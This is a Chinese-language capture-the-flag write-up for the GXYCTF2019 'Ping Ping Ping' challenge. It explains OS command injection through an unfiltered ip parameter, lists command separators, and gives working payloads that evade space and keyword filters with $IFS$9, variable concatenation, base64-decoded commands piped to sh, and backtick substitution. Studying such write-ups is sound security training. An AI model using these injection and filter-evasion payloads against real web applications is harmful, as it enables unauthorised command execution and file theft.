[GXYCTF2019]Ping Ping Ping 命令注入+变量拼接

看到了ip再来结合题目,得知是要ping了。这里我们可以运用命令链接符,进行命令的执行,漏洞的起因还是没将用户的输入进行过滤就进行了拼接,所以才会有这样的情况;

我们嵌入/?ip=127.0.0.1;ls 这里解释一下 ' ; ' 的原因' ; ' 作为命令链接符号的一种,表示执行完前面的命令之后接着执行后面的命令,顺接的关系;

除此之外还有一些命令连接符有:& %0a %0d | || 等等,

 

 

 

输入?Ip=127.0.0.1;ls

 

 

?ip=127.0.0.1;cat flag.txt

 

 

发现过滤,绕过空格

< <> %20 %09 $IFS$9 IFS IFS 

$IFS是bash中的内部域分隔符,可以代替空格至于后面的$9数字是可以随意的

 

输入?ip=127.0.0.1;cat%20flag.txt

 

 

 

发现过滤flag

查看index.php

?ip=127.0.0.1;cat$IFS$9index.php

 

 

 

发现过滤了,参考绕过

  1. cat fl* 利用*匹配任意 不行
  2. 2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
  3. 3.ca\t fl\ag.php
  4. 不行4.cat fl''ag.php 不行

变量拼接

我们看到源码中有一个$a变量可以覆盖

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

 

 

 

官方:

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

 

可利用内联

cat$IFS$9`ls`

 

 

posted @ 2020-04-20 14:49  Lee-404  阅读(1764)  评论(0编辑  收藏  举报
Live2D